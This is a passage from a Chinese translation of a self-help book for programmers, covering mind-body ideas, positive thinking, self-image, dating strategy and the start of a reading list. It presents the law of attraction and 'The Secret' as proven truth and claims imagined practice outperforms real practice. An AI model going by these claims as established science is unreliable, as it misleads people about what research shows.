心灵是如何影响身体的\n到现在为止，本书中的所有内容都至少是有一些科学证据支撑的，但是现在我们要触及一个无法量化的领域。我不得不说接下来要讨论的主题大多数是我个人经验和观点的结合。\n为什么你要认真对待这个我不得不说的话题呢？这确实是一个很合理的问题。我可以告诉你，在这里我要说的就是我确信在生活中曾经带领我走向成功的体会，但是或许你不想跟我一样——或者你对此印象不十分深刻。在这种情况下，一个更强有力的论点是，我在本章中给出的观点也不全都是我自己的。\n本章中的很多概念来源于比我更著名、更成功的一些作家的著作。但更重要的是，来自这些书中的一些观点，特别是心灵能够对身体产生强大影响的观点，已经是20世纪最伟大、最成功的一些思想的成功标志。\n我有一个习惯，每次只要一有机会跟非常成功、非常知名的人士谈话，我就会问他们一个问题：在他们的一生中，哪本书对他们的影响最大？难以置信的是，许多人都提到同样的两三本书——这些书我会在第69章中提到。\n从心灵开始\n如果你不相信自己能够做到，你几乎做不成任何事情。你的思想对身体的影响有多大、对你能够获得成功的影响有多大，这是令人惊叹的。“如果你相信，你就能做到”这个观点很容易被迅速忽视，但是这个观点确实有些道理。至少，这个观点的反面更有道理：如果你不相信，你肯定不会获得成功。\n即使是想把最细小的计划付诸实践，也必须学会如何利用内心的力量、如何掌控内心。这可不是一件容易的事儿。你确实不能盲目地让自己相信一些东西。你曾经尝试过吗？\n如果愿意，你现在可以尝试一下。试着去相信大象是粉红色的。你能说服自己相信这一点吗？即使你的生命依赖于它，你能改变这个简单的信念吗？几乎没有诡计能让你的大脑去相信一些武断的信息。\n这并不意味着你永远都不会相信大象是粉红色的。只要有一些有力的证据就会转变你的想法—— 但是貌似无法找到强有力的证据来证明这个不符合逻辑的谬论。事实上，你的心灵是如此的强大，以至于即使展现在你面前的证据完全与你所认知的大象的颜色相反，你还是会相信你所认知的、能让自己感觉舒服的那个观点。\n现在，你明白了，控制思想不像看起来那样简单。在某种程度上，我们是大脑进化过程的受害者。我们不是动物，是人类，所以我们有能力克服这个基本的生物过程，因为我们有意识，我们有选择的自由，我们有自由的意志。\n我可能无法说服自己相信大象是粉红色的，但是我可以长时间重复这个主张，根据自己的喜好改变我的许多信念。我有能力塑造我自己的思想——你也可以。\n但是，改变自己的信念有什么好处呢？拥有能改变自己的想法和思维方式的特殊能力有什么意义吗？物质世界的改变能够改变你对现实的感知吗？\n这就是让事情变得有趣的地方。我不会用“是的，可以”来回答你，因为如果我那样做了，你可能就会放弃阅读这本书，然后把它扔到垃圾桶里。当然，你的物质现实观并不是完全由你的想法和信念塑造的……不是吗？\n所以，在我回答这个问题之前，让我们先退一步。让我们来想想这个物质世界是如何被改变的。假设桌子上有一个障碍物，你想把这个障碍物移到另外一个地方。如果你不相信这是可行的，就不会尝试去做。但是，如果你相信这是可行的，并且相信自己能移动自己的手，拿起这个障碍物，把它从桌子上拿下来，那么你就能用大脑控制身体完成整套动作。从技术层面讲，你所相信的确实有能力去塑造你的实际经历——它只是一个需要用到你的身体的间接塑造。\n意识是如何能发送信号到我们的神经系统以移动四肢，这个过程很神秘。当然，我们知道这其中的化学过程和物理过程是怎么完成的，但是我们不知道是什么触发了这一切。我们不知道我们所拥有的无形思想是如何能够直接操控有形世界的——我们到底是如何激活第一个神经元的？\n现在，我并不幼稚，我知道很多人会告诉你我们的确知道这是如何发生的：我们只是一堆与环境相互作用的化学物质，我们就是完全基于环境条件下的自动自发产生的一连串化学反应。但是，如果你相信这是真的，那么，你怎么会选择读这本书？为什么我能写这本书？任何一系列复杂的反应都不可避免地产生这两种行为——我们都没有选择，我们只是凑凑热闹而已——或者还有些其他东西，那些我们还无法识别的东西，给了我们……自由的意志和选择的权利。\n心灵和身体的联系\n当我用“心灵”和“身体”这两个词的时候，我将心灵定义为你身体内非物质的部分。不管你是把它称为一种精神还是一种意识的机械机制，它都不同于身体（包括大脑）的较低功能。\n区分这两者很重要，因为当我说“心灵影响身体”的时候，我的意思是它也会影响你的大脑。我们马上就能证明这点——安慰剂效应，在这一效应中大脑以为接受的是一些药物，但是实际上服用的是一些糖丸或者其他一些替代品，这一效应都是有据可查的。就像小飞象的羽毛给了它飞行的能力，你的心灵以你不能有意识控制的方式影响你的身体。\n因为我们知道，我们的心灵通过思考的力量操纵宇宙（通过身体实现为活动），我们还知道我们所信仰的或者我们所思考的都有能力影响我们的现实世界。\n从字面上看，这意味着你所想的变成了现实——至少在你身体的力量和心灵的力量可及的范围之内就实现了。这个原理以不同的形式体现在哲学中。一种流行的哲学是“吸引力定律”，指出“物以类聚”（like attributes like），如果想法是负面的，结果也是负面的，反之亦然——下一章再做详细讲解。\n你可能也听说过Rhonda Byrne的畅销书《秘密》（The Secret）［Atria Books/Beyond Words，2006］，这本书有点儿神秘，但很符合我的口味，这本书以许多方式揭开了一个在过去已经被证明、在将来还会被反复证明的重要真理：那些想要改变自己信念、控制自己想法的人们，通过积极的正念可以将其想要的变为现实。\n我真的不想在这里给你带来所有神秘的东西。我是一个务实的人，因此我相信对这个机制的运转方式有很多实用的解释，但同时我也不会假装不存在不能忽视的一些神秘元素。\n信念决定思想，\n思想决定言语，\n言语决定行动，\n行动决定习惯，\n习惯决定价值，\n价值决定命运。\n——圣雄甘地\n不管这个机制是如何运转的，重要的是你要理解自己的所思所想影响并塑造了你现在的生活。你甚至不用读这一章就可以证明这一点。看看周围就知道了。\n当你想到每天和你交往的人的时候，你注意到某种思维模式导致某种行为模式和结果了吗？你认识的任何一个成功人士，他们会对生活持有消极态度，对自己或别人缺乏信念和信心吗？你见到过有些人一直说自己是生活的受害者，但实际上他们的悲惨命运并不是因为任何外力的作用——尽管他们不断声称是由外界导致的？甚至当你反省自己过去生活的时候，你又有多少次由于过度的担心、过度的恐慌而对曾经心有余悸的事情太过悲观？\n如果你真的想为自己的生活定好方向并控制好它，那你就要学会如何利用心灵的力量、思想的力量。无论我在本章所论述的“心灵与身体的联系”是否能够说服你，至少你要明白你的心态和信念会给你的生活带来正面的影响，也会带来负面的影响。下面几章会为你提供一些实用的建议，告诉你如何塑造自己的心态，如何将你的成长过程塑造得更加富有成效。\n采取行动\n找出心灵和身体之间的联系。试着在你自己的生活中找一个例子，什么样的想法给现实带来了积极的影响，什么样的想法又给现实带来了消极的影响？\n你最近一次取得巨大成功的时候心态是什么样的？\n你最近一次遭遇重大挫败的时候心态是什么样的？\n第66章 拥有正确的心态：重新启动\n让我问你一个问题：你将自己的想法归类为积极的还是消极的？这可不是给你自己贴上乐观主义者或悲观主义者的标签。有很多的乐观主义者，他们在表面上满怀期望和希望，但内心却怀着各种会直接破坏他们的工作成果的负面想法和情绪。\n实际上，积极思考的观点有科学证据可以支撑——积极思考不只是外表乐观，而且还对健康有益，能延年益寿，并且给你的生活提供其他的好处。同时——或许是更重要的——反过来想，消极的思考会产生完全相反的效果。消极思考会对你产生实质伤害，而且会妨碍你通向成功的人生（参见http://simpleprogrammer.com/ss- negative-thinking）。\n本章讲述的是如何拥有正确的心态。我们来审视一下积极的态度意味着什么，为什么它对你的幸福生活如此重要，如何培养强大的、积极的态度——实际上积极的态度是可以传染的。\n什么是积极性\n我相信你可能已经知道拥有积极心态意味着什么，但是由于这句话经常被提起，以至于失去了它的本意。此外，如果你的心态是消极的（这对我们大多数人来说都是要面对的），在这里给出两个善意的小提示：“积极”的确切含义是什么？为什么它如此重要？\n许多人对积极思考的想法持拒绝态度，因为他们觉得，不切实际的乐观主义是毁灭性的。我常听到有人抛出这样的反对意见，说“我很现实”，持这种想法的人应该多想想彩虹、独角兽和热带海滩之类的景象。\n相反，我想说，积极思考与现实主义是不矛盾的。事实上，积极思考在应用层面上是现实主义的最终体现，因为它是一种信念，这种信念让你有力量改变现实，让你确信你不是环境的受害者。\n积极思考问题的根源是这样一种信念——你比你随处的环境更伟大。这种信念让你总能先看到事物好的一面，因为无论身处何种环境，你都有能力改变自己的未来。这是人类成就的最高信念，是世界上最强大的力量。这种信念能让你利用这种力量，这股力量就静静地躺在你的心田，却又不那么虚无缥缈。\n积极的心态就是来自于这些想法的积累，随着时间的推移这些想法会由内向外地彻底改变你。当你拥有一个积极态度的时候，你就不是活在与现实分离的虚幻世界里，而是生活在一个最理想的世界里，一个你能看到的最理想的未来世界，一个你一直以来都在苦苦追求并努力实现的未来世界。\n从更现实的层面来讲，积极思考就是选择从好的一面（而不是从坏的一面）去思考问题。你对生活中遇到的每一种状况都可以有自己的理解。这些状况本身并不存在“好”或者“坏”。是你自己来解释这些状况，所以是你决定它是“好”的还是“坏”的。一个持有积极心态的人看到的好的一面往往比坏的一面要多，并不是因为这些状况客观上就是好的，而是因为他们认识到他们有选择的权利。\n讲一个我很喜欢的故事，能够很好地证明上述观点。很遗憾，我不记得故事的出处了[1]：\n曾经有一个农夫。有一天，农夫唯一的一匹马挣脱了畜栏跑了。农夫的邻居都听说马逃跑了，来到农夫家查看畜栏。当他们站在那里时，邻居们都说：“哦，真倒霉！”农夫回答道：“你怎么知道这就是坏事呢？”\n大约一个星期后，那匹马回来了，还带着一群野马，这位农夫和他的儿子很快将马群关到了畜栏里。邻居们听到了围马的声音都跑出来看。邻居们站在那里看着畜栏里的一群马，都说：“哦，你运气真好！”农夫回答道：“你怎么知道这就是好事呢？”\n几个星期后，农夫的儿子在试图驯服那群野马的时候腿摔断了。几天后，摔断的腿感染了，他儿子发烧变得神志不清。邻居们听说这个意外，来看望他的儿子。当他们站在那里时，邻居们说：“哦，运气真差！”农夫回答道：“你怎么知道这是坏事呢？”\n在同时期的中国，两个敌对军阀之间爆发了一场战争。需要更多的士兵，军官来到村里征用年轻人当兵到战场上去打仗。当军官找到农夫的儿子时，发现这个年轻人的一条腿断了还发着烧。因为军官知道他的儿子没办法打仗，所以就把他留在了村里。几天之后，他儿子不发烧了。邻居们听说他儿子没有被带去打仗，而且还恢复了健康，都来看望他。当他们站在那里时，每个人说：“哦，运气真好！”农夫回答道：“你怎么知道这是好事呢？”\n积极性的正面作用\n记得当我说有真实存在的科学证据证明积极思考会对你的生活产生影响吗？我不是在开玩笑。这里有一份被证实效果的清单，这些效果都是由积极思考产生的。这些结果来自实际的科学研究（可以从http://simpleprogrammer.com/ss-negative-thinking获取更多信息）：\n发展友谊；\n婚姻美满；\n收入更高；\n身体更健康；\n延年益寿。\n这些科学证明的结果足以说服我努力克服“星期一综合征[2]”，但同时也有其他结论很难通过科学研究证明。我知道的一个事实是，我的工作态度会直接影响我的工作表现。关于这一点，我是用自己的工作效率来做的度量。我知道，当我保持一个积极的态度时我就更愿意去面对任何障碍，把挑战看成要克服的困难，而不是消极地认为是环境把我逼到了绝境。\n除此之外，如果没有什么理由能够让我们积极思考，只是感觉良好，这是不是值得去尝试呢？去体验积极乐观的情绪而不是消极悲观的情绪，这样感觉会不会更好呢？当我们拿出自己的所有财产作为抵押去贷款的时候，当我们怀揣伟大抱负的时候，当我们参加足球训练的时候，当我们上电视节目的时候，当我们深夜吃零食的时候，这些难道就真的都是我们生活的目标吗？难道我们不就是想要快乐吗？如果是的话，为什么不去积极地看待问题呢？\n如何重启你的态度\n只想着要积极一点儿还不够。你会在极度渴望一个积极心态的同时又一味地谴责自己那虚无缥缈的远大抱负。\n还记得我说过，你无法轻松地改变你的信念。所以，将你对这个世界的看法由消极转变成积极并不太容易做到，这是真的——尽管很奇怪，但换一个角度看问题似乎更容易些。\n改变自己的想法\n如果想改变自己的态度，你就必须改变自己的想法。如果想改变自己的想法，你就必须转变自己的思维模式。你的思维模式是由你的习惯决定的，因此我们可以追溯到改变你生活中处理任何关键事情所采用的主要方式——养成一个习惯。\n但是，如何养成积极思考的习惯呢？大多数情况下，使用养成其他任何习惯的方法就能养成这个习惯——通过坚定地、持续不断地、有意识地重复做一件事情，直到由潜意识来掌握大局。\n你可能没有能力用积极的想法去应对某个事件。例如，你在摸索着看手机短信的时候追尾了前面一辆车，你很难会去想“哦，这是好事”，你会去想“哎呀，太糟糕啦”。你甚至可能会一面大声呼喊叫人来实地勘察一面思考……喔，当然是消极的想法。\n但是只要你愿意选择，你一定会有力量选择更积极的想法。现在你可以停下你手头的活儿，想象一下积极的想法。首先，假装我们都坐在感恩节的桌子旁，想一想快乐的事情。够简单吧？关键是有目的地、积极地尝试着一整天都怀着这样的假想。重点是提醒自己，尽管你可能无法做到在任何情况下立刻控制自己做出反应，但是你确实可以控制如何有意识地去选择你想要怎样的体验。\n越频繁地练习这种思维方式，你就越容易给自己假想出一幅积极的画面，然后你就能看到一线曙光，你就能越容易把它变成你的一个习惯。于是，在你面对任何事故或者不幸时，你就越有可能做出积极的反应。你可以训练你的大脑从更积极的而不是从消极的角度看待问题。\n冥想\n我承认我不是冥想主义者，尽管如此，我还是想花一些时间来养成冥想的习惯。某些论点表明经常冥想的人更容易体会到正面情绪，所以你也可以尝试把冥想作为提高你积极思维能力的修炼之道。\n劳逸结合\n我相信你一定听过一句谚语“只知道工作不知道休息，Johnny就是个愚钝的孩子”。这显然会让他更加消极和沮丧。我个人可以追踪我的许多负面情绪与我忘记休息之间的关联关系。我发现当我花时间休息后更容易保持积极心态。可能这种方法没什么大不了，但是还是值得参考。\n推荐书籍\n我在第69章将推荐一些帮助你养成一个积极心态的好书。如果你现在就想找到相关的书，试着看看由Norman Vincent Peale写的《积极思考就是力量》（The Power of Positive Thinking）［Touchstone，2003再版］。\n关键是积极思考不会从天而降，也不是一夜间就能获得的，你要付出持续的努力，将思想转向积极的方向。但这是值得付出的努力。不单是因为积极思考能让你活得更长久、更健康、更成功，还因为这绝对会让你活得更有乐趣，同时你可能会影响你周围的人同样生活得越来越有乐趣。\n采取行动\n捕捉你的想法，记录可以帮助你理解你脑子里在想些什么，让你更专注于你想专注的事情。记这一周的思维日志。只要有机会就把自己的想法写下来，不管是积极的还是消极的。每一天都将这一天发生的任何有意义的事情记录成日志，给每天固定的时间段都创建一个条目。\n审视你的思维日志。几乎都是积极的想法还是消极的想法？消极的想法源自哪里？积极的见解呢？\n试着在控制自己的想法的同时尽可能多地唤出积极的想法。当某件事发生在你身上的时候，花点儿时间试着去了解并不是整个宇宙都在和你作对、跟你过不去——又不是只有你一个人会碰到这样的事。强迫自己找到一线曙光。不要只是消除消极的想法，同时还要将消极的想法替换成积极的想法。\n[1] “星期一综合征”指在星期一上班时，总出现疲倦、头晕、胸闷、腹胀、食欲不振、周身酸痛、注意力不集中等症状。由于在双休日过分耗费体力处理工作之外的事情，待到双休日过后的星期一，人们必须又要全身心重新投入于工作和学习，难免出现或多或少的不适应，这即是所谓的“星期一综合征”。以上根据《维基百科》编写。——译者注\n[2] 根据上下文判断，作者讲述的故事正是“塞翁失马”的故事，该典故出自《淮南子•人间训》。—— 译者注\n第67章 构建一个积极的自我形象——规划你的大脑\n光想着一些快乐的事情和保持良好的心态还不够。当然，将你的态度从消极变为积极会让你看到更多的成功——不用说对健康有好处，但是要真正实现你想过的生活，你还要学会如何规划自己的大脑来实现自己的目标。\n那些不能激励自己的人一定是甘于平庸的人，无论他们的其他才能有多么令人印象深刻。\n——Andrew Carnegie\n你真正要做的是战胜平庸——从大脑开始。你是如何看待自己的，这一点拥有惊人的力量，可以限制你的发展，也可以让你加速前进。\n在本章中，我们要研究的是你如何规划自己的大脑来创建一个积极的自我形象，这个自我形象会在你脑海中自动引领你去实现自己的目标。\n什么是自我形象\n自我形象是在甩掉别人对你的看法，摆脱所有用来自我安慰的谎言和欺骗以后，你看到的自己的样子。\n很有可能你对自己的真实的自我形象丝毫都不了解，因为很大程度上它存在于你的潜意识里。你可以对自己半真半假地描述自己眼中的自己，你也可以对着他人虚与委蛇，但是你不能欺骗自己的潜意识。在内心深处，我们都有一个自己的形象，这个形象将真实地反映出我们的大脑对真实的我们自己的看法。\n这种自我形象是很强大的，因为你的大脑往往不允许你做任何事情以违反它的自我评估。这种人为的局限性很难克服，只是你可能甚至都没有意识到它们的存在。\n一个被认为不善于投掷棒球的男孩，他会成为一个好投手吗？很有可能他不会。除非他学着去改变他的自我形象，从而看到另外一面的自己，否则他永远都不可能成为一个好投手。他的大脑对他自己的认知有局限性，这将导致他遵从于他自己设定的自我形象。\n很可能你也有过相似的局限性，只是你可能从来没有注意到而已——你可能把这种局限性看成是一成不变的、不可改变的事实——这就是生活的方式。你笨吗？你懒惰吗？你数学不好吗？你与人难以相处吗？你不容易集中注意力？又或者你很害羞或者很内向？\n尽管所有这些性格特征很可能看起来有相当一部分跟你的身高或者眼睛的颜色一样，属于你的DNA，但是实际上并不是。那些关于你自己身体上的特性是无法改变的，但是其他许多对你自己的自我想象是后天获得的，是自我形象的现实表现，许多情况下是随机出现的。\n或许在你很小的时候，在一个派对晚宴上，你躲在父母的背后听到有人说：“小Johnny是一个害羞的男孩。”其实那时候你可能一点儿都不害羞，但是就在那一瞬间，你的大脑突然锁定了这个观点并植入了你的自我形象中。\n自我形象是很难改变的\n研究结果表明，你有改变自我形象的能力。在第16章中我们已经介绍过这个观点——“假装自己能成功”。这个概念的背后是说，如果你重复做一件事同时假装你已经是自己想成为的那样的人，你最终将变成那样的人。\n这个道理看似很简单。的确，很简单。但是我们无法这么思考问题，有时候我们很难相信我们能改变自己的性格特征，因为我们确信本质上那是属于我们自己的一部分。\n这就好像我们得了某种病，这种病让我们把自己的弱点和局限性当作了自己重要的一部分。问一个急脾气的人他是否愿意改变脾气，他很有可能说“不”。因为对于他来说这无异于你在问他是否愿意放弃一只手臂或者一条腿，因为他深信急脾气是他自己本质的一部分，改掉急脾气相当于是他对自己的最高背叛。你看看，潜意识的能量如此强大，它让你如此坚守自己的自我形象。\n但是问题的真相在于，你并不是那个在社交场合会感到尴尬或者因为帽子掉了就大发雷霆的你。你并不是那些穿在你身上的衣服。事实上，你穿的那些衣服会对你的认知产生戏剧性的影响。你可能发现，穿短裤和拖鞋的你和西装革履的你在行为举止上有很大的不同。\n如果只是暂时转变你的自我形象并没有那么困难，难的是让你确信转变你的自我形象是可行的，并且让你有欲望去完成这个转变。如果你可以接受“我能改变那些自己坚守的关键信念”，那么你就能根据自己的喜好去改变你的自我形象。\n想象一下这样一种力量，能够把你变成任何你想要的形象，能够把你从一个害羞的患有社交恐惧症的人转变成一个迷人的、魅力四射的交际花，能够把你转变成你心向往的那种领袖或者转变成一个运动高手。\n这一切都是可能的，我对此深信不疑，因为我在很多方面改变了我自己。在我年轻的时候，我总是觉得自己像一个笨蛋。我说的不是那种愚蠢的人，因为尽管我觉得自己很聪明，但是我对研究或者学术从没真的感兴趣过。我还有社交障碍，我希望被关注但是又非常害羞——连给陌生人打一个简单的电话都会令我害怕。\n在我高中二年级的时候发生了一些事。我无法具体告诉你是什么事，因为我不记得了。可能是我行大运了，又或者是我遇到了一些挫折，总之这件事情让我产生了“我可以决定我想成为怎样的人”的想法，然后改变就这样发生了。\n这种转变虽然不是在一瞬间发生的，但是转变得确实很快。我扔掉了旧衣服，买了我想转变的那个形象的新行头。我开始练习举重，加入摔跤和田径的行列。（我以前不经常运动，因为我觉得我自己体育不好。）我决定我不能再害羞了，所以我假装自己不害羞。我迫使自己陷于尴尬的境地。我不断重申并告诉自己我现在是谁。在我的脑海里我为自己描绘了一幅崭新的形象。\n令人惊讶的是，我坚持了下来。当然，尽管我还是成了一名计算机程序员，但是在高中毕业以后我曾步入模特和演艺界。我从害羞转变为完全不害羞。我从一个不善于运动的人转变成为每周都要跑步和举重的人。直到今天，我还在细致地刻画我想成为的那个形象，并控制我的自我形象为我服务而不是阻碍我的发展。\n对你的大脑“重新编程”\n如何有目的性地对你的大脑“重新编程”？如何像我当年那样改变自我形象？公式相当简单：只需要花点儿时间，再加上持之以恒地正确执行。\n一开始，设定一个你想成为的清晰形象。你的大脑有惊人的能力去寻找摆在它面前的任何目标。你只需要想象一下这些目标，直到这个目标足够清晰到让你的大脑能够带领你走向你需要走向的那条道路。\n为你树立一个理想形象。在你的脑海中牢固地树立起一个形象——“这就是我想要成为的形象，没有什么能够阻止我”。想象一下你自己更坚定、更有自信地走进房间；想象一下你优雅地跳跃着、奔跑着，而不是将自己绊倒；想象一下你可以激励别人，可以非常时尚。不要给自己设定任何的人为限制，除非是那些你没有办法改变的身体特征（例如，不要把自己想象成个子很高，除非这么做能让你感到更自信。只是别指望这么想真的能让你长高。）\n一旦你在自己的脑海中设立了这样的形象，接下来的任务就是开始执行“仿佛”模式。“仿佛”你已经变成了你想变成的那个人。无论是言行举止，还是穿着打扮，都像你想成为的那个人一样，甚至像你想成为的那个人一样刷牙。不要太关注现实是怎么样的，不要太在意别人如何议论你的“变化”；相反，假装你已经达到了你想要的目标，你的新行为只是这个新个性的自然延伸。\n你还要给自己很多正面的肯定，这会在你潜意识深处植下你的新思维模式的种子。事实证明，正面的肯定不是胡言乱语，你的大脑会真的开始相信你告诉它很多遍的东西。还记得我说过的改变信念是多么难的一件事吗？如果持续传递一致的信息给你的大脑，你就能改变自己的信念。\n我建议用一句名言或者一个肖像提醒你，你理想中的那种精神状态。让每一天都充满正面的肯定，这样就能更加确认并加强你的新信念。花一些时间，在精神层面上虚构一个你想成为的那个自己。很多体育运动员就是利用这样的过程来提高自己的成绩的。在参加重大赛事之前，他们会在脑海中做一次彩排。他们会在脑海中想象比赛的过程，然后看到他们获得成功。研究表明，这种假装的练习实际上比真实的练习更有效果。我读过关于一支职业橄榄球队——西雅图海鹰队的一个故事。他们就有冥想课程，在课程中要求队员想象他们成功了。\n最重要的是，看看你都说了些什么。你说的关于你自己的事情，都是你相信的。你的潜意识就是一个倾听你的声音的敏感的孩子，相信你所说的一切。如果你常常说自己笨或者说自己健忘，你的潜意识就会相信事实的确如此。\n采取行动\n列出你的优点和缺点。不仅试着想想你是如何认知自己的，也试着想想别人又是如何认知你的。这份清单不一定完全正确—— 你的自我形象的很多方面被埋在了潜意识的深处，但它会是一个很好的起点。\n你觉得这份清单上有哪些方面是无法改变的？为什么？想想这些方面是永久性的，还是只是因为你的信念给你自己带来了局限。\n尝试至少改变自我形象的一个负面的方面。用本章提出的建议来进行改变。试着用这个“假装自己能成功”的方法和正面的肯定来强化自己的新信念。\n第68章 爱情与恋爱：计算机无法牵着你的手\n我思考过是否要写这一章，因为我不是恋爱专家，并且这本书确实也不是关于寻找爱情的。但是我想，如果我一点儿都不提这个主题，这本书就不是真正的软件开发人员的人生指南了。\n关于爱情和恋爱有太多东西要说，以至于只用一章很难介绍全部的内容，所以我决定把本章浓缩在一些会给软件开发的世界带来困扰的最重要、最相关的问题上——无论男性还是女性。\n为什么软件开发人员有时很难找到爱情\n我会再次退回到以老派的软件开发人员的身份来尝试解答这个问题。当然，我承认，所有的成见，特别是认为软件开发人员充满书呆子气，充满社交恐惧等这些成见，可能并不适用于你，但是如果适用——或者至少部分适用——你或许和我这里要谈的现象也沾边儿。\n有一种流行的叫做“永远孤独”的互联网文化基因。这基本上表示的是这样一种想法：你感觉很孤独，并且永远都找不到“爱情”。根据我的经验，很多软件开发人员，特别是在他们年轻的时候，深受这种文化基因的感染。\n永远孤独\n遗憾的是，对这种文化基因的认同感实际上可能真是一个让人恼火的问题。这是一个关于人类如何追求爱情和伴侣的不可思议的问题。这其实就是一场猫捉老鼠的游戏。在任何给定的时间，都是一方在追另一方在跑。只要双方偶尔切换一下角色其实就没问题了。但是，如果一个人总是在追，另一个人就会跑得越来越远。\n这样的追求太难，很多人都往往要面对这个问题。所以，当你走出去，过于努力地追求时，最终会充满绝望。这种绝望引发排斥，排斥又会导致自尊心受打击，造成更进一步的绝望。这是一个恶性循环，很多人都陷在其中不能自拔。\n很多人遇到这种情况往往选择掩藏起火热的内心。他们开始将自己的痛苦和孤独感投射给世界上的其他人。“只有让他们体会到我的痛苦，并意识到他们是怎么伤害我的，才能让他们理解我。”你可以看到那些发布在Facebook上的个人状态，他们用绝望的措辞来引起关注，让全世界都知道他们有多么悲伤、多么孤独。\n正如我确信的那样，你一定能够明白，这种行为的效果恰恰相反。当你告诉全世界你很软弱、很脆弱的时候，人们往往会躲避你。坦率地说，这可不是一项能够真正吸引人的特质。\n了解游戏规则\n爱情就是一场游戏，这是真的。不管怎么努力尝试，你都无法跳出这个规则。很多人会说：“我不想玩这种游戏，我只想做我自己，如实表达我的感受。”尽管我能理解这种观点，但是因为你在读这一章，所以我不能不问你，这种想法对你有什么帮助。\n请不要误解我。我不是提倡做不忠诚、卑劣的人，而且，即使想吸引异性，你可能也不想在行动上表现得太随性、太直接。我的意思是，你要意识到你实际上是在玩一个游戏，所以可以试着想一些策略。\n例如，从一个男性的角度（因为我只能从这个角度）出发，你也许想接近一个已经注意了好几个星期的女孩，然后对她说：“我爱你，我第一眼见到你的时候我就爱上了你。”此刻，这貌似是一件很浪漫的事，你向所爱的人表白了心声，但是这个行为很可能会给你带来负面的反应。根据“猫和老鼠”的游戏规则，这个策略并不好。\n我不需要是心理学家就能告诉你：总的来说，我们总想得到自己得不到的东西，我们总想得到别人也想得到的东西。所以，希望越大，失望越大，你就越不可能得到。我敢肯定，你在学校的操场上玩的时候就已经有过这样的体验了。你有没有追着其他小孩想要他们跟你一起玩？生活就是一个大操场。如果你想让别人逃走就去拼命追他们吧。\n坐下来，什么都不做，等待爱情送上门，这同样也不是一个好的策略。你可能要等很久很久。相反，解决的办法是在行为上体现出自信，用一种自然随和且充满自信的态度与别人交往。“我自己感觉很好，我不需要你，但是我觉得你挺有意思的，所以我想更好地了解你。”（当然我不会真的说出这句话。）\n关键是你要真正表达出这个意思。你必须要对自己表现出足够的自信，你真的相信你不需要别人给你带来快乐。你必须要相信你和别人在一起是因为你能给对方的生活带来好处，当然这并不意味着你自认为你是上帝恩赐给别人的礼物……来填补空白，但这确实意味着你对自己足够尊重，你只出现在自己想去的地方，你只想和想和你在一起的人相处。\n这并不意味着保证能成功，我无法保证。但是，如果你能明白大多数情侣关系其实是“你追我逃”的微妙心理游戏作用的结果，你就会更容易找到真爱。这不只适用于爱情问题，也适用于各种人与人之间的关系。做一个绝望的、缺乏自信的人，你可能会发现自己真的孤立无援。如果你发现你面试的对象就像大街上一个垂死挣扎的乞丐一样祈求你施舍给他工作岗位，你也会觉得他很惹人生厌。\n所以，我所要做的就是充满信心，对吧？\n我知道，我明白，这又是一件说起来容易做起来难的事情，对吧？突然决定要表现得自信满满可不是那么容易的。假装很自信也是相当难的。那么到底要怎么做呢？\n可以先回到前面两章，规划一下你的大脑，成为你想成为的那种自信满满的人。你没有理由成不了一个真正有自信的人——这只需要花一些时间和努力。\n你可能还需要注意一下健身那一篇，因为健身是建立自信的一种极佳方式，我曾看到很多人通过举重和塑身训练在改变了体型的同时在精神上也更加自信了。\n此外，考虑一下自信到底意味着什么，自信看起来到底是什么样子。自信的基本元素就是要勇敢。如果你现在就想接近一个吸引你的人，不要迟疑，不要拖延，立刻展现你的自信。在某些圈子里这被戏称为“三秒钟原则”。大体上讲，这个原则是说：从你看到某个自己喜欢的人的那一刻，有三秒钟你是很冲动的；超过三秒钟你的犹豫不决就会让你丧失自信、破绽百出。我承认，这个原则确实不容易遵循，但是尝试一下对你有什么损失吗？这将带来下面这个我不得不说的最后一个话题。\n这就是一场数字游戏\n人很奇怪。他们喜欢各种各样的东西。只需要在网上搜索一下，就会出现一些奇谈怪论证明这是真的。我为什么要这么说呢？因为这说明无论你看起来有多奇特，无论你觉得自己有怎样的缺陷，即使你没有完美的笑容，没有轮廓分明的腹肌，也可能会有很多人喜欢你。事实上，在这个广袤的世界里，可能会有很多非常适合你的潜在人选，他们或许跟你一样奇特，又或许和你一点儿都不一样。\n这就意味着，所有的一切无非就是一场数字游戏。太多人会犯这样的错误——挑选一个人，然后把他/她当作理想人选放在神龛上，时刻想念着那个能让他们觉得“开心”的完美女生或者男生。假设只有这么一个完美的人，这种想法不但荒谬而且缺乏策略。如果扩大搜索范围，你的机会更好。\n我们会在第70章中细说这一点，所以，请不要害怕失败，哪怕失败很多次；不要害怕被拒绝，没什么大不了的。最差的情况又能差到哪里？你可能就像去敲开一扇扇门的销售员，他们面对上百扇甩向他们的门，只为做成一笔交易。你要知道，你每天需要做的就是完成一笔交易。\n除此之外，所有那些拒绝最终都会把你带到一个想和你在一起的人那里，这总比和不想和你在一起的人在一起要好很多。无论如何，这不就是最重要的吗？\n采取行动\n回想一下你都是怎样流露出“绝望”这种情感的。看看你和别人在你的社交媒体上的沟通内容，你是如何与朋友互动的，你的言语和表达是自信的还是空虚的？什么样的无形特质对你最有吸引力？你又厌烦什么无形特质？\n你的交际圈有多宽？你给自己足够的机会寻找“真爱”了吗？走出去，去和别人接触，花点儿时间感受一下这是一种怎样的感觉。一旦你意识到这种感觉不错，接近他人时就会更加自信，因为你不害怕后果。\n切实做一些事来提升自信心，比如，开始执行一个健身计划或者涉及一些会让你对自己感觉更好的其他活动。\n第69章 我的私房成功书单\n有很多好书对我的行为和信念产生了巨大影响。我尝试着每天花一些时间去读一本书或者听一本有声书，这些书会以某种方式改善我的生活。\n刚开始工作的时候，我花了大量的时间阅读软件开发类的书籍。现在，我会花更多的时间读更广泛适用的书。\n我养成了一个习惯，我会请与我见过面的那些获得巨大成功或者非常著名的人士推荐一本每个人都应该阅读的书。通过这一探索，我发现了很多很有效的书，这些书真正改变了我的生活。\n在本章中，我会列出我读过的最好且对我的影响最大的书——既有软件开发方面的，也有非软件开发方面的。\n自我提升和励志类图书\nSteven Pressfield的The War of Art［Black Irish Books，2002］\n我总是会从我最喜欢的一本书开始介绍。这本书解决了我工作以来长时间困扰着我的一个问题：为什么让自己坐下来开始做事是如此困难。\n在这本书里，Pressfield提到，当我们坐下来打算做一些有意义的事时，我们都会面对一股神秘的力量。他说这股力量就是阻碍我们尝试从低使命感向高使命感转变的神秘的、矛盾的破坏者。\n只要确定了我们面对的这个共同敌人，我们就能开始获得力量去克服它。如果你有拖延症，或者你需要寻找向前的动力去做你觉得自己应该做的事情，你会发现这本书非常有用。\nDale Carnegie的《人性的弱点》（How to Win Friends 